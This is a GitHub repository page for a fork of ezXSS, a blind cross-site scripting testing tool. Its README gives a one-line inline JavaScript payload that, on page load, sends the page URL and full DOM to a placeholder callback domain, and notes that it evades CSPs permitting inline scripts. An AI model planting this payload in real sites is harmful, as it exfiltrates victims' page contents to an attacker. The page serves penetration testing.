Skip to content
/ ezXSS Public
forked from ssl/ezXSS

ezXSS is an easy way to test (blind) XSS

License

Notifications You must be signed in to change notification settings

foobar7/ezXSS

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

160 Commits
 
 
 
 
 
 

Repository files navigation

Adding a quick check for the existence of parameters in callback.php of ezXSS (line 13-27) allows those parameters to be missing from log requests.

Now the plain JS code which doesn't need to retrieve a file can be shortened a bit:

<script>window.addEventListener('load',()=>{x={},a=document,x.uri=a.URL,x.dom=a.documentElement.outerHTML,t=new XMLHttpRequest,t.open('POST','https://[your-domain]/callback',1),t.send(JSON.stringify(x))})</script>

It's still pretty long, but better than before.

The benefit of this is that it's not caught by CSPs which allow inline scripts.

About

ezXSS is an easy way to test (blind) XSS

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

  • HTML 47.8%
  • PHP 47.5%
  • JavaScript 4.7%